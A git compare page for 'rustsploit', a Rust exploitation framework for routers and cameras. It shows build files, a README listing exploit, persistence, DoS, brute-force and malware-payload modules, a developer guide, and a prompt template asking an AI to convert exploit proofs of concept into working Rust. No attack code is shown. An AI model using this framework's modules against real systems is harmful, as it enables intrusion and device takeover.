mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
89 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 101f201b30 | |||
| 903dcd896d | |||
| d823a1760a | |||
| e7c1de9ab6 | |||
| e34fda4904 | |||
| 5f8a3fcd4e | |||
| 6a3014cb2d | |||
| 02e8bf4476 | |||
| ca6f3cf2ff | |||
| 14b350e1cc | |||
| b586f03cb6 | |||
| cbe0768fe3 | |||
| c6fbdceb41 | |||
| 0a431b1431 | |||
| d8afcbd257 | |||
| 8af374401e | |||
| dea86bd358 | |||
| d13408d5cc | |||
| 2b867f7550 | |||
| 5c5171f8d7 | |||
| d1ceae6304 | |||
| 3bd0262554 | |||
| fe9e8bb0bd | |||
| 67c5b8651e | |||
| 9c33ecc8c8 | |||
| 4c8e968bb9 | |||
| 5c66d123d8 | |||
| 0369126960 | |||
| 5b951c7187 | |||
| 127bc9d20a | |||
| f2b71a4981 | |||
| 7475c22b65 | |||
| f41fc58462 | |||
| 891801514b | |||
| c9d650933a | |||
| 8080cca173 | |||
| 431dfb53a3 | |||
| c02a58f6e6 | |||
| b82685b214 | |||
| edb23f54b1 | |||
| b7a0274944 | |||
| af71c827c7 | |||
| 2d9989e735 | |||
| 8920be99ca | |||
| 075a898fd7 | |||
| 0e6fb4fa3c | |||
| e1ac588ee4 | |||
| cf4307c2b7 | |||
| 160090cb21 | |||
| f142be2b2e | |||
| 6464b95054 | |||
| da379c3d39 | |||
| fed1fc37d6 | |||
| ea08e77109 | |||
| 017e4907c5 | |||
| 06bc6134a7 | |||
| f29199e2e1 | |||
| ef1f44fc23 | |||
| ddabd9dcbc | |||
| 61d0a7ef3c | |||
| e6d5a85153 | |||
| d90f88ab91 | |||
| b4a91be121 | |||
| 9694801619 | |||
| 5313ae76f4 | |||
| bbbab50420 | |||
| 66256975ee | |||
| 87dbf50464 | |||
| 3b258196f8 | |||
| 2afa06ec1c | |||
| 62c1c0b1a2 | |||
| d11ee5cbeb | |||
| ddc6f57ade | |||
| 67a87ac70e | |||
| 16459fac69 | |||
| ae44fcb90c | |||
| 7f446b00a5 | |||
| e40938fbb5 | |||
| c841746f3c | |||
| bf06740df6 | |||
| 3be699817f | |||
| df998013b1 | |||
| b77f60a9c5 | |||
| 91d887217d | |||
| c0b9e431f5 | |||
| baf250e636 | |||
| 084b391737 | |||
| c13109589f | |||
| e0bbf7ba23 |
+37
-3
@@ -1,17 +1,21 @@
|
||||
[package]
|
||||
name = "r_routersploit"
|
||||
name = "rustsploit"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12.15", features = ["json"] }
|
||||
reqwest = { version = "0.12.15", features = ["json", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9.0"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5.35", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0.97"
|
||||
@@ -33,3 +37,33 @@ walkdir = "2.5.0"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9.5"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22.1"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12.8"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11.1"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37.4"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7.0"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2.172"
|
||||
|
||||
#spotube exploit
|
||||
serde_json = "1.0.140"
|
||||
futures-util = "0.3.31"
|
||||
tokio-tungstenite = "0.26.2"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11.1" # required for use in build.rs
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
@@ -1,35 +1,51 @@
|
||||
|
||||
---
|
||||
|
||||
# R-RouterSploit 🛠️
|
||||
# Rustsploit 🛠️
|
||||
|
||||
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
|
||||
|
||||

|
||||

|
||||
|
||||
📚 **Developer Documentation**:
|
||||
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
|
||||
|
||||
---
|
||||
|
||||
### Goals & To Do lists
|
||||
|
||||
|
||||
convert exploits and add modules
|
||||
|
||||
Convert exploits and add modules
|
||||
|
||||
# completed
|
||||
```
|
||||
created docs
|
||||
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
|
||||
bomb Persistence create SSH user | Remote Root Shell
|
||||
|
||||
telnet brute forcing module
|
||||
|
||||
ssh brute forcing module
|
||||
|
||||
ftp anonymous login module
|
||||
|
||||
ftp brute forcing module
|
||||
|
||||
dynamic modules listing and colored listing
|
||||
added spotube exploit zero day exploit as of 24 april reported to spotube
|
||||
added exploit tplink_wr740n Buffer Overflow 'DOS'
|
||||
added exploit tp_link_vn020 Denial Of Service (DOS)
|
||||
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
|
||||
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
|
||||
added exploit uniview_nvr_pwd_disclosure password disclore
|
||||
updated docs again and readme
|
||||
rework command system to automaticly detect new modules
|
||||
added uniview_nvr_pwd_disclosure
|
||||
added ssdp_msearch
|
||||
added hearbleed info leak from server saved to a bin file
|
||||
added port scanner
|
||||
added find command
|
||||
updated docs
|
||||
created docs
|
||||
added wordlist for camera paths
|
||||
added acti camera module
|
||||
created bat payload generator for malware
|
||||
added proxy support https/http socks4/socks5
|
||||
telnet brute forcing module
|
||||
ssh brute forcing module
|
||||
ftp anonymous login module
|
||||
ftp brute forcing module
|
||||
added rtsp_bruteforce module
|
||||
dynamic modules listing and colored listing
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Building & Running
|
||||
|
||||
### 📦 Clone the Repository
|
||||
@@ -45,27 +61,17 @@ cd r-routersploit
|
||||
cargo build
|
||||
```
|
||||
|
||||
### 🔧 Run in CLI Mode
|
||||
|
||||
You can run specific modules via CLI using subcommands:
|
||||
|
||||
#### ▶ Exploit
|
||||
|
||||
To build and run:
|
||||
```
|
||||
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
|
||||
cargo run
|
||||
```
|
||||
|
||||
#### 🧪 Scanner
|
||||
|
||||
To install:
|
||||
```
|
||||
cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
|
||||
cargo install
|
||||
```
|
||||
|
||||
#### 🔐 Credentials
|
||||
|
||||
```
|
||||
cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
|
||||
```
|
||||
---
|
||||
|
||||
### 🖥️ Run in Interactive Shell Mode
|
||||
|
||||
@@ -75,15 +81,98 @@ Launch the interactive RSF shell:
|
||||
cargo run
|
||||
```
|
||||
|
||||
Once inside the shell, you can explore and execute modules:
|
||||
Once inside the shell:
|
||||
|
||||
```
|
||||
```text
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use exploits/sample_exploit
|
||||
rsf> show_proxies
|
||||
rsf> proxy_on / proxy_off
|
||||
rsf> proxy_load proxies.txt
|
||||
rsf> find
|
||||
rsf> use exploits/heartbleed
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
|
||||
|
||||
---
|
||||
|
||||
### 🔧 Run in CLI Mode
|
||||
|
||||
#### ▶ Exploit
|
||||
```
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
```
|
||||
|
||||
#### 🧪 Scanner
|
||||
```
|
||||
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
```
|
||||
|
||||
#### 🔐 Credentials
|
||||
```
|
||||
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🌐 Proxy Retry Logic (Shell Mode)
|
||||
|
||||
- If proxies are loaded and `proxy_on` is active:
|
||||
- Random proxy is used from list
|
||||
- On failure, tries another until successful
|
||||
- If all fail, it runs once **without proxy**
|
||||
|
||||
---
|
||||
|
||||
## 📂 Module System
|
||||
|
||||
Modules are automatically detected using `build.rs` and registered as:
|
||||
- Short: `port_scanner`
|
||||
- Full: `scanners/port_scanner`
|
||||
|
||||
Each module must define:
|
||||
```rust
|
||||
pub async fn run(target: &str) -> Result<()>
|
||||
```
|
||||
|
||||
Optional:
|
||||
```rust
|
||||
pub async fn run_interactive(target: &str) -> Result<()>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧼 Shell State
|
||||
|
||||
The shell keeps:
|
||||
- Current module
|
||||
- Current target
|
||||
- Proxy list + state
|
||||
|
||||
No session state is saved — everything resets on restart.
|
||||
|
||||
---
|
||||
|
||||
## 💡 Want to Add a Module?
|
||||
|
||||
See the full [Developer Guide](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
|
||||
Includes:
|
||||
- ✅ How to write modules
|
||||
- 🧠 Auto-dispatch system explained
|
||||
- 📦 Module placement
|
||||
- 🌐 Proxy logic details
|
||||
- 🔍 Scanner vs Exploit vs Credential paths
|
||||
|
||||
---
|
||||
|
||||
## 👥 Contributors
|
||||
|
||||
- **Main Developer**: me.
|
||||
- **Language**: 100% Rust.
|
||||
- **Inspired by**: RouterSploit, Metasploit, pwntools
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 82 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 104 KiB |
@@ -0,0 +1,96 @@
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Read, Write};
|
||||
use std::path::Path;
|
||||
use regex::Regex;
|
||||
|
||||
fn main() {
|
||||
println!("cargo:rerun-if-changed=src/modules/exploits");
|
||||
println!("cargo:rerun-if-changed=src/modules/creds");
|
||||
println!("cargo:rerun-if-changed=src/modules/scanners");
|
||||
|
||||
generate_dispatch(
|
||||
"src/modules/exploits",
|
||||
"exploit_dispatch.rs",
|
||||
"crate::modules::exploits"
|
||||
);
|
||||
generate_dispatch(
|
||||
"src/modules/creds",
|
||||
"creds_dispatch.rs",
|
||||
"crate::modules::creds"
|
||||
);
|
||||
generate_dispatch(
|
||||
"src/modules/scanners",
|
||||
"scanner_dispatch.rs",
|
||||
"crate::modules::scanners"
|
||||
);
|
||||
}
|
||||
|
||||
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let root_path = Path::new(root);
|
||||
let mut mappings = Vec::new();
|
||||
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key,
|
||||
m = mod_path.replace("/", "::"),
|
||||
p = mod_prefix
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
|
||||
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
|
||||
visit_dirs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
|
||||
if file_name == "mod" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let mod_path = format!("{}/{}", prefix, file_name)
|
||||
.trim_start_matches('/')
|
||||
.to_string();
|
||||
let key = mod_path.clone();
|
||||
|
||||
let mut source = String::new();
|
||||
fs::File::open(&path)?.read_to_string(&mut source)?;
|
||||
|
||||
if sig_re.is_match(&source) {
|
||||
mappings.push((key.clone(), mod_path));
|
||||
println!("✅ Registered module: {}/{}", prefix, file_name);
|
||||
} else {
|
||||
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+220
-146
@@ -1,19 +1,23 @@
|
||||
the internal architecture, how to add or modify modules, and how the CLI and shell interact with the framework.
|
||||
|
||||
---
|
||||
|
||||
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
|
||||
|
||||
> This document explains the architecture, core logic, CLI, shell system, and how to add or modify exploit/scanner/credential modules. It is meant for developers looking to extend or maintain this Rust-based pentesting framework.
|
||||
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
|
||||
|
||||
---
|
||||
|
||||
## 🧠 Framework Philosophy
|
||||
|
||||
This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of the RouterSploit concept. Each exploit, scanner, or credential brute-forcer lives in its own **module file**, and can be invoked via:
|
||||
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
|
||||
|
||||
- 📟 Command-Line Interface (CLI)
|
||||
- 🖥️ Interactive Shell
|
||||
- 📟 CLI (`cargo run -- --command ...`)
|
||||
- 🖥️ Shell (`rsf>` prompt)
|
||||
|
||||
Goals:
|
||||
- 🔒 Safe-by-default
|
||||
- 📦 Cleanly separated modules
|
||||
- ⚡ Async concurrency
|
||||
- 🌐 Proxy-aware execution
|
||||
|
||||
---
|
||||
|
||||
@@ -22,246 +26,316 @@ This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of
|
||||
```
|
||||
routersploit_rust/
|
||||
├── Cargo.toml
|
||||
└── src
|
||||
├── main.rs # Entry point
|
||||
├── cli.rs # Parses CLI args
|
||||
├── shell.rs # Interactive shell (rsf> prompt)
|
||||
├── commands/ # Dispatch logic for exploit/scanner/creds
|
||||
├── build.rs
|
||||
└── src/
|
||||
├── main.rs # Entrypoint
|
||||
├── cli.rs # CLI argument parser
|
||||
├── shell.rs # Interactive shell logic
|
||||
├── commands/ # Module dispatch logic
|
||||
│ ├── mod.rs
|
||||
│ ├── exploit.rs
|
||||
│ ├── scanner.rs
|
||||
│ ├── scanner_gen.rs
|
||||
│ ├── exploit.rs
|
||||
│ ├── exploit_gen.rs
|
||||
│ ├── creds_gen.rs
|
||||
│ └── creds.rs
|
||||
├── modules/ # All available attack modules
|
||||
├── modules/ # All attack modules
|
||||
│ ├── mod.rs
|
||||
│ ├── exploits/
|
||||
│ │ ├── mod.rs
|
||||
│ │ └── sample_exploit.rs
|
||||
│ ├── scanners/
|
||||
│ │ ├── mod.rs
|
||||
│ │ └── sample_scanner.rs
|
||||
│ └── creds/
|
||||
│ ├── mod.rs
|
||||
│ └── sample_cred_check.rs
|
||||
└── utils.rs # Utility helpers (e.g., list modules)
|
||||
└── utils.rs # Common utilities
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔗 Module System
|
||||
|
||||
Each **module** (exploit/scanner/cred checker) is self-contained:
|
||||
|
||||
### Anatomy of a Module
|
||||
Each module is a Rust file with a required `run()` entry point:
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>
|
||||
```
|
||||
|
||||
### Optional:
|
||||
|
||||
```rust
|
||||
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
|
||||
// internal prompts or logic
|
||||
}
|
||||
```
|
||||
|
||||
### Placement:
|
||||
|
||||
- Exploits: `src/modules/exploits/`
|
||||
- Scanners: `src/modules/scanners/`
|
||||
- Credentials: `src/modules/creds/`
|
||||
|
||||
Subfolders are supported:
|
||||
- `exploits/routers/tplink.rs` → `tplink` or `routers/tplink`
|
||||
- `scanners/http/title.rs` → `title` or `http/title`
|
||||
|
||||
---
|
||||
|
||||
## ✅ Adding a New Module
|
||||
|
||||
### 1. Create File
|
||||
|
||||
```rust
|
||||
// src/modules/scanners/ftp_weak_login.rs
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running <MODULE_NAME> on target {}", target);
|
||||
// Logic here
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
println!("[*] Checking FTP on {}", target);
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Each module must:
|
||||
- Be placed inside the correct subfolder (e.g., `modules/exploits/`)
|
||||
- Have a `run(target: &str) -> Result<()>` function
|
||||
- Be declared in its parent's `mod.rs`
|
||||
- Be wired into the corresponding command handler (e.g., `commands/exploit.rs`)
|
||||
### 2. Register in `mod.rs`
|
||||
|
||||
```rust
|
||||
pub mod ftp_weak_login;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ CLI Internals
|
||||
## 🧠 Auto-Dispatch System
|
||||
|
||||
Handled via **Clap** in `cli.rs`:
|
||||
|
||||
```
|
||||
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
|
||||
The CLI/shell can call:
|
||||
```bash
|
||||
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
|
||||
```
|
||||
|
||||
- Parses command like `--command scanner`, `--module sample_scanner`, `--target 192.168.1.1`
|
||||
- Passed into `commands::handle_command()` for dispatch
|
||||
|
||||
---
|
||||
|
||||
## 🖥️ Interactive Shell
|
||||
|
||||
Start with:
|
||||
|
||||
Or in the shell:
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
Inside the shell:
|
||||
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use exploits/sample_exploit
|
||||
rsf> use scanners/ftp_weak_login
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Shell maintains internal state:
|
||||
- `current_module` (e.g., `exploits/sample_exploit`)
|
||||
- `current_target` (e.g., `192.168.1.1`)
|
||||
Behind the scenes:
|
||||
|
||||
When `run` is called, it dispatches via `commands::run_module()`.
|
||||
1. `build.rs` scans `src/modules/` recursively
|
||||
2. Detects files with `pub async fn run(...)`
|
||||
3. Generates:
|
||||
- `exploit_dispatch.rs`
|
||||
- `scanner_dispatch.rs`
|
||||
- `creds_dispatch.rs`
|
||||
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Running a Module (Backend Flow)
|
||||
## ❌ What Not To Do
|
||||
|
||||
1. Shell or CLI calls `commands::run_module("exploits/sample_exploit", "192.168.1.1")`
|
||||
2. `commands/mod.rs` matches `exploits/` and calls `commands/exploit.rs`
|
||||
3. `commands/exploit.rs` matches `sample_exploit` and calls `modules/exploits/sample_exploit.rs`
|
||||
4. `run(target: &str)` executes async exploit logic
|
||||
5. Results are printed back to the user
|
||||
- ❌ No `run()` → won’t dispatch
|
||||
- ❌ Don’t name multiple functions `run()` in one file
|
||||
- ❌ Don’t use `mod.rs` as a module — ignored by generator
|
||||
- ❌ Don’t forget to update `mod.rs` when adding modules
|
||||
|
||||
---
|
||||
|
||||
## ➕ How to Add a New Exploit/Scanner/Cred Module
|
||||
## ⚙️ CLI Usage
|
||||
|
||||
### 1. Create the Module File
|
||||
```bash
|
||||
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
|
||||
```
|
||||
|
||||
Example: `src/modules/exploits/my_new_exploit.rs`
|
||||
### Args:
|
||||
|
||||
```rust
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
- `--command`: exploit | scanner | creds
|
||||
- `--module`: file name of module
|
||||
- `--target`: IP or host
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Launching my_new_exploit on {}", target);
|
||||
let url = format!("http://{}/pwn", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Request failed")?
|
||||
.text()
|
||||
.await?;
|
||||
---
|
||||
|
||||
if resp.contains("owned") {
|
||||
println!("[+] Target is vulnerable!");
|
||||
} else {
|
||||
println!("[-] Not vulnerable.");
|
||||
}
|
||||
## 🖥️ Shell Usage
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
Then:
|
||||
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use scanners/port_scanner
|
||||
rsf> set target 192.168.0.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Maintains internal state:
|
||||
- `current_module`
|
||||
- `current_target`
|
||||
- `proxy_list`
|
||||
- `proxy_enabled`
|
||||
|
||||
---
|
||||
|
||||
## 🔁 Proxy Retry Logic (Shell Only)
|
||||
|
||||
Proxy logic only applies in shell mode (`rsf>`).
|
||||
|
||||
### Flow:
|
||||
|
||||
1. User types `run`
|
||||
2. Shell checks:
|
||||
- Module is selected?
|
||||
- Target is set?
|
||||
- Proxy enabled?
|
||||
|
||||
---
|
||||
|
||||
### Case 1: Proxy ON, Proxies LOADED
|
||||
|
||||
- Create `HashSet<String>` → `tried_proxies`
|
||||
- Loop:
|
||||
- Pick random untried proxy
|
||||
- Set `ALL_PROXY` using:
|
||||
```rust
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
```
|
||||
- Call `commands::run_module(...)`
|
||||
- On success: stop
|
||||
- On error: mark proxy as failed, try another
|
||||
|
||||
- If all proxies fail:
|
||||
- Clear proxy env:
|
||||
```rust
|
||||
env::remove_var("ALL_PROXY");
|
||||
```
|
||||
- Try once directly
|
||||
|
||||
---
|
||||
|
||||
### Case 2: Proxy ON, No Proxies Loaded
|
||||
|
||||
- Show warning
|
||||
- Clear `ALL_PROXY`
|
||||
- Run once directly
|
||||
|
||||
---
|
||||
|
||||
### Case 3: Proxy OFF
|
||||
|
||||
- Clear proxy vars
|
||||
- Run module once
|
||||
|
||||
---
|
||||
|
||||
### Summary Flow:
|
||||
|
||||
```
|
||||
If proxy_enabled:
|
||||
while untried proxies:
|
||||
pick → set env → run → if fail → mark tried
|
||||
if none work → clear env → try direct
|
||||
else:
|
||||
clear env → try direct
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. Register It in `mod.rs`
|
||||
## 🧪 Module Execution Flow
|
||||
|
||||
```rust
|
||||
// src/modules/exploits/mod.rs
|
||||
pub mod sample_exploit;
|
||||
pub mod my_new_exploit;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3. Wire It into the Command Handler
|
||||
|
||||
```rust
|
||||
// src/commands/exploit.rs
|
||||
match module_name {
|
||||
"sample_exploit" => exploits::sample_exploit::run(target).await?,
|
||||
"my_new_exploit" => exploits::my_new_exploit::run(target).await?,
|
||||
_ => eprintln!("Unknown exploit module"),
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
Whether via CLI or shell:
|
||||
|
||||
1. `commands::run_module(...)`
|
||||
2. Determines type: `exploit`, `scanner`, or `cred`
|
||||
3. Calls correct dispatcher
|
||||
4. Dispatcher calls `run(target).await`
|
||||
5. Output shown to user
|
||||
|
||||
---
|
||||
|
||||
## 🛑 Error Handling
|
||||
|
||||
- All `run()` functions return `Result<()>` using `anyhow` for easy error context.
|
||||
- Errors are automatically printed when the main shell or CLI fails.
|
||||
- All modules must return `anyhow::Result<()>`
|
||||
- Errors are caught and shown cleanly in CLI or shell
|
||||
|
||||
---
|
||||
|
||||
## ⚡ Async Support
|
||||
## ⚡ Async Features
|
||||
|
||||
- The project uses `tokio` runtime and `reqwest` async client.
|
||||
- All modules can use `async fn run(...) -> Result<()>` safely.
|
||||
- Entire framework is powered by `tokio`
|
||||
- All I/O modules are `async`
|
||||
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
|
||||
|
||||
---
|
||||
|
||||
## 📡 HTTP Requests
|
||||
## 📡 Making Requests
|
||||
|
||||
Use `reqwest`:
|
||||
|
||||
- Use `reqwest` for sending requests to the target:
|
||||
```rust
|
||||
let response = reqwest::get(&url).await?;
|
||||
let resp = reqwest::get(&url).await?.text().await?;
|
||||
```
|
||||
|
||||
- Or with a custom client and headers/auth:
|
||||
Or with client:
|
||||
|
||||
```rust
|
||||
let client = reqwest::Client::new();
|
||||
let resp = client.post(&url).json(&data).send().await?;
|
||||
```
|
||||
|
||||
✅ All requests respect `ALL_PROXY`
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Example Use Cases
|
||||
|
||||
### CLI Mode
|
||||
### CLI
|
||||
|
||||
```
|
||||
# Exploit a router
|
||||
cargo run -- --command exploit --module sample_exploit --target 192.168.0.1
|
||||
```bash
|
||||
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
|
||||
```
|
||||
|
||||
### Shell Mode
|
||||
### Shell
|
||||
|
||||
```
|
||||
rsf> use exploits/sample_exploit
|
||||
rsf> set target 192.168.0.1
|
||||
```bash
|
||||
rsf> use creds/ftp_weak_login
|
||||
rsf> set target 192.168.1.100
|
||||
rsf> run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧼 Resetting Shell State
|
||||
## 🧼 Shell Reset
|
||||
|
||||
There is no persistent state between runs. All values (`module`, `target`) must be set each time unless you're adding support for config files or persistence.
|
||||
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
|
||||
|
||||
---
|
||||
|
||||
## 🔐 Real Exploit Integration
|
||||
## 🔐 Adapting CVEs
|
||||
|
||||
To adapt a real-world CVE:
|
||||
To build a real-world exploit:
|
||||
- Convert PoC to async Rust logic
|
||||
- Validate by checking known response headers/content
|
||||
- Place it in the right folder and wire `run()`
|
||||
|
||||
- Convert the PoC into an async HTTP request
|
||||
- Simulate or validate the vulnerable response pattern
|
||||
- Follow the above module creation workflow
|
||||
TCP/UDP logic:
|
||||
|
||||
If the exploit is based on open TCP/UDP, you can use `tokio::net::TcpStream` or `tokio::net::UdpSocket`.
|
||||
```rust
|
||||
use tokio::net::{TcpStream, UdpSocket};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🛠️ Feature Ideas
|
||||
## 💡 Feature Roadmap
|
||||
|
||||
- 🧰 Add wordlist brute-forcers (like rockyou support)
|
||||
- 📄 Export results to a file
|
||||
- ⚡ Parallel scanning via `tokio::spawn`
|
||||
- 🔌 Plugin system for runtime module loading
|
||||
- 🔒 Encrypted config/profile saving
|
||||
- 🧪 Integration with Shodan/Censys APIs
|
||||
add more exploits etc
|
||||
|
||||
---
|
||||
|
||||
## 👥 Contributors
|
||||
|
||||
- Main Developer: You.
|
||||
- Language: 100% Rust
|
||||
- Base Concept: Inspired by RouterSploit, Metasploit, and pwntools.
|
||||
- **Main Developer**: me.
|
||||
- **Language**: 100% Rust.
|
||||
- **Inspired by**: RouterSploit, Metasploit, pwntools.
|
||||
|
||||
---
|
||||
|
||||
## 🧾 License
|
||||
|
||||
---
|
||||
|
||||
Would you like me to convert this into a Markdown file (`docs.md`) and drop it into your project as-is? Or would you like GitHub-flavored `.md` formatting tailored with headers, badges, collapsible trees, etc.?
|
||||
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
|
||||
|
||||
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
|
||||
|
||||
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
|
||||
|
||||
All internal logic must be routed through this function.
|
||||
|
||||
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
|
||||
|
||||
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
|
||||
|
||||
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
|
||||
|
||||
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
|
||||
|
||||
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
|
||||
|
||||
✅ If necessary, clean up variable scoping or imports, but never remove real features.
|
||||
|
||||
✅ keep all comments from the orginal but add two / before comments
|
||||
|
||||
✅ only use the poc and it must be a 1 to 1 convertion
|
||||
|
||||
Here is the original module that needs to be refactored:
|
||||
|
||||
.
|
||||
@@ -0,0 +1 @@
|
||||
just lists like word lists
|
||||
@@ -0,0 +1,176 @@
|
||||
|
||||
0
|
||||
0video1
|
||||
1
|
||||
1.AMP
|
||||
11:1main
|
||||
1cif
|
||||
1stream1
|
||||
11
|
||||
12
|
||||
4
|
||||
CAM_ID.password.mp2
|
||||
CH001.sdp
|
